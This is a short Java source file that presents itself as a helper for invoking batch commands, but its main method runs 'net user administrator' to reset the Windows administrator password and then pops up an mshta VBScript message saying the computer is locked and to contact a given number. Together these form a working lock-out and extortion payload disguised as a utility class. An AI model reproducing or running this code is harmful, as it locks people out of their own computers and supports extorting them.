package cn.zxh.csdn_maven;

import java.io.IOException;
import java.io.InputStream;

public class InvokeBat {
	public void runbat(String batName) {
		try {
			Process ps = Runtime.getRuntime().exec(batName);
			InputStream in = ps.getInputStream();
			int c;
			while ((c = in.read()) != -1) {
				System.out.print(c);// 如果你不需要看输出，这行可以注销掉
			}
			in.close();
			ps.waitFor();

		} catch (IOException ioe) {
			ioe.printStackTrace();
		} catch (InterruptedException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		System.out.println("child thread done");
	}

	public static void main(String[] args) {
		InvokeBat test1 = new InvokeBat();
		String password = "net user administrator 436879112567895";
		String batName = "mshta vbscript:msgbox(\"电脑已锁，联系870775401吧\",64,\"SB\")(window.close)";
		test1.runbat(password);
		test1.runbat(batName);
		System.out.println("main thread");
	}
}
